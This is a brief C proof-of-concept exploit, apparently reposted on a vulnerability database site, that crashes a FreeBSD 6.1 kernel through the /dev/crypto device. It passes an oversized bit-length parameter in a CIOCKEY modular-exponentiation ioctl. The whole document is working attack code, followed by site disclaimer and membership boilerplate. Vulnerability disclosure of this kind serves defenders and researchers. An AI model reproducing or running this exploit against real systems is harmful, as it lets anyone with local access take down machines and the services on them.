// Evgeny Legerov (elegerov.blogspot.com) #include unistd.h #include sys/types.h #include stdio.h #include fcntl.h #include crypto/cryptodev.h int main() { int fd2, fd; struct crypt_kop kop; printf("FreeBSD 6.1 /dev/crypto local kernel DoS\n"); fd2 = open("/dev/crypto", O_RDWR, 0); if (fd2 == -1){ perror("open"); exit(-1); } if (ioctl(fd2, CRIOGET, &fd) == -1) { perror("ioctl"); exit(-1); } kop.crk_op = CRK_MOD_EXP; kop.crk_iparams = 3; kop.crk_oparams = 1; kop.crk_param[0].crp_nbits = 0x70000000; ioctl(fd, CIOCKEY, &kop); printf("exploit failed\n"); return 0; }
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论